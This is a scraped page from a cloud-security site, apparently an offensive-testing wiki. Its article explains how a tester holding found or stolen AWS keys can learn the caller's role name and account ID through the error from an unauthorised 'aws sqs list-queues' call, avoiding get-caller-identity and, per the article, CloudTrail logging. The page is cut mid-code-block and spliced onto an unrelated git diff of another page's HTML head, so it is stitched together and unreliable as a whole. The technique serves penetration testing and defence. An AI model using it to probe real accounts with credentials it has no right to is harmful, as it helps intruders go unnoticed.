16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2 checked> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#sqslistqueues class=md-nav__link> <span class=md-ellipsis> sqs:ListQueues </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ class=md-nav__link> <span class=md-ellipsis> Exploiting Public AWS Resources Programmatically - The Playbook </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#sqslistqueues class=md-nav__link> <span class=md-ellipsis> sqs:ListQueues </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Nick Frichette</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/enumeration/whoami.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>Whoami - Get Principal Name From Keys</h1> <p>After finding or obtaining IAM credentials during an assessment you will need to identify what they are used for, or if they are valid. The most common method for doing so would be the <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/sts/get-caller-identity.html>get-caller-identity</a> API call. This is beneficial for several reasons, particularly because it requires no special permissions to execute.</p> <p>Unfortunately, although it is <a href=https://twitter.com/SpenGietz/status/1283846678194221057>unlikely</a>, there is the possibility that this API call may be monitored, especially for sensitive accounts. Additionally, if our goal is to remain as stealthy as possible, we might prefer not to use this method. As a result we need alternatives. Fortunately, many AWS services will disclose the calling role along with the account ID when an error is generated. It should be noted that the principal must lack IAM permissions for this call in order for the error to return the relevant information. </p> <p>Not all API calls exhibit this behavior. For example, failed EC2 API calls will return a message similar to the following:</p> <div class=highlight><pre><span></span><code>An error occurred (UnauthorizedOperation) when calling the DescribeInstances operation: You are not authorized to perform this operation.
 </code></pre></div> <h2 id=sqslistqueues>sqs:ListQueues<a class=headerlink href=#sqslistqueues title="Permanent link">&para;</a></h2> <p><a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/sqs/list-queues.html>sqs:ListQueues</a> is a quick API call which will return the calling identity's name and account ID without logging to CloudTrail. Note that the <code>ListQueues</code> action does not appear in the <a href=https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/sqs-logging-using-cloudtrail.html>documentation</a> for SQS's compatibility with CloudTrail.</p> <div class=highlight><pre><span></span><code>user@host:~$ aws sqs list-queues
 
 An error occurred (AccessDenied) when calling the ListQueues operation: User: arn:aws:sts::123456789012:assumed-role/no_perms/no_perms is not authorized to perform: sqs:listqueues on resource: arn:aws:sqs:us-east-1:123456789012: because no identity-based policy allows the sqs:listqueues action
diff --git a/aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/index.html b/aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/index.html
index caf2b4fbe..2ac263d4b 100644
--- a/aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/index.html
+++ b/aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="An in-depth explanation of how to still abuse CVE-2024-28056, a vulnerability in AWS Amplify that exposed IAM roles to takeover."><link href=https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ rel=canonical><link href=../ rel=prev><link href=../exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../../feed_rss_updated.xml><link rel=icon href=../../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.46+insiders-4.53.14"><title>CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios - Hacking The Cloud</title><link rel=stylesheet href=../../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../../stylesheets/extra.css><script>__md_scope=new URL("../../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios - Hacking The Cloud"><meta property=og:description content="An in-depth explanation of how to still abuse CVE-2024-28056, a vulnerability in AWS Amplify that exposed IAM roles to takeover."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios - Hacking The Cloud"><meta property=twitter:description content="An in-depth explanation of how to still abuse CVE-2024-28056, a vulnerability in AWS Amplify that exposed IAM roles to takeover."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario.png> <link href="../../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
